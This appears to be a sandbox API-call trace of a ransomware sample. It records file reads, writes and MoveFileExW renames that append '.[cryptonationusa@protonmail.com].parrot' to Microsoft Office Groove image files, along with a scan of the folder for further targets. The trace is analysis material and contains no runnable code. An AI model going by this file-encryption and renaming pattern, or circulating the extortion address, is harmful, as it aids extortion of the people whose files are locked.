Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\NUMERIC.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\numeric.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0188.984] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645b90 | out: hHeap=0x5b0000) returned 1 [0188.984] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0188.984] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e8070 | out: hHeap=0x5b0000) returned 1 [0188.984] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x228fd28 [0188.984] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x2297a90 [0188.984] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0188.984] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0188.986] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0188.986] ReadFile (in: hFile=0x260, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0188.988] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.988] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12f5, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x12f5, lpOverlapped=0x0) returned 1 [0188.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0188.989] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0188.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0188.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0188.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0188.989] GetLastError () returned 0x0 [0188.989] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.990] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0188.990] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0188.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.990] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0188.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0188.990] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0188.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.990] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0188.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0188.990] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0188.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.990] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0188.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0188.990] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0188.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0188.990] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0188.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0188.990] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0188.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0188.990] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0188.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0188.990] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0188.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0188.990] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6588b0 [0188.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0188.990] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262140 [0188.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6588b0 | out: hHeap=0x5b0000) returned 1 [0188.990] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176fd0 [0188.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262140 | out: hHeap=0x5b0000) returned 1 [0188.990] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0188.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176fd0 | out: hHeap=0x5b0000) returned 1 [0188.990] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0188.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0188.991] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0188.991] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0188.991] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0188.991] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0188.991] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0188.991] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0188.991] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0188.991] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0188.991] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0188.991] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0188.991] WriteFile (in: hFile=0x260, lpBuffer=0x5cee60*, nNumberOfBytesToWrite=0x1418, lpNumberOfBytesWritten=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x5cee60*, lpNumberOfBytesWritten=0x18e314*=0x1418, lpOverlapped=0x0) returned 1 [0188.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0188.994] UnlockFile (hFile=0x260, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x140d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0188.994] CloseHandle (hObject=0x260) returned 1 [0188.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x31a9698 [0188.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14e) returned 0x645b90 [0188.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a9698 | out: hHeap=0x5b0000) returned 1 [0188.994] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\PASSWORD.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\password.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\PASSWORD.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\password.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0188.996] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645b90 | out: hHeap=0x5b0000) returned 1 [0188.996] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0188.996] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31cc470 | out: hHeap=0x5b0000) returned 1 [0188.996] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x228fd28 [0188.996] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x2297a90 [0188.996] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0188.996] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0188.998] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0188.998] ReadFile (in: hFile=0x260, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0189.001] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.001] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x43c8, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x43c8, lpOverlapped=0x0) returned 1 [0189.002] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0189.002] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0189.002] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0189.002] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0189.002] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0189.002] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0189.002] GetLastError () returned 0x0 [0189.002] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.002] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0189.003] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\RADIO.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\radio.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\RADIO.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\radio.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.007] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645b90 | out: hHeap=0x5b0000) returned 1 [0189.007] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0189.007] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e8070 | out: hHeap=0x5b0000) returned 1 [0189.009] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.009] ReadFile (in: hFile=0x260, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0189.011] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.011] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3ad9, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x3ad9, lpOverlapped=0x0) returned 1 [0189.012] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.013] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\SectionHeading.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\sectionheading.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\SectionHeading.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\sectionheading.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.016] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x696268 | out: hHeap=0x5b0000) returned 1 [0189.016] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0189.016] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0189.019] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.019] ReadFile (in: hFile=0x260, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0189.021] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.021] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x37a7, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x37a7, lpOverlapped=0x0) returned 1 [0189.022] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.022] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\StaticText.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\statictext.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\StaticText.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\statictext.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.026] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x696268 | out: hHeap=0x5b0000) returned 1 [0189.026] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0189.026] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0189.028] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.028] ReadFile (in: hFile=0x260, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0189.030] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.030] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3983, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x3983, lpOverlapped=0x0) returned 1 [0189.033] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.034] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTAREA.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textarea.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTAREA.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textarea.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.038] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645b90 | out: hHeap=0x5b0000) returned 1 [0189.038] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0189.038] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0189.040] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.040] ReadFile (in: hFile=0x260, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0189.042] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.042] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3a97, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x3a97, lpOverlapped=0x0) returned 1 [0189.043] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.044] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textbox.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTBOX.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textbox.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.048] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645b90 | out: hHeap=0x5b0000) returned 1 [0189.048] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0189.048] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0189.050] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.050] ReadFile (in: hFile=0x260, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0189.052] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.052] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x42fa, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x42fa, lpOverlapped=0x0) returned 1 [0189.053] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.053] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTVIEW.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textview.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTVIEW.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textview.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645b90 | out: hHeap=0x5b0000) returned 1 [0189.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0189.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e8070 | out: hHeap=0x5b0000) returned 1 [0189.060] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.060] ReadFile (in: hFile=0x260, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0189.062] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.062] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4127, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x4127, lpOverlapped=0x0) returned 1 [0189.063] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.064] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\UnformattedNumeric.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\unformattednumeric.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\UnformattedNumeric.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\unformattednumeric.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.067] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a33f0 | out: hHeap=0x5b0000) returned 1 [0189.067] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0189.067] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e8070 | out: hHeap=0x5b0000) returned 1 [0189.069] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0189.069] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfcb74c40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfcb74c40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0189.069] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc55b3e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x37a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Attachments.jpg.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ATTACH~1.PAR")) returned 1 [0189.070] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.070] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.071] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 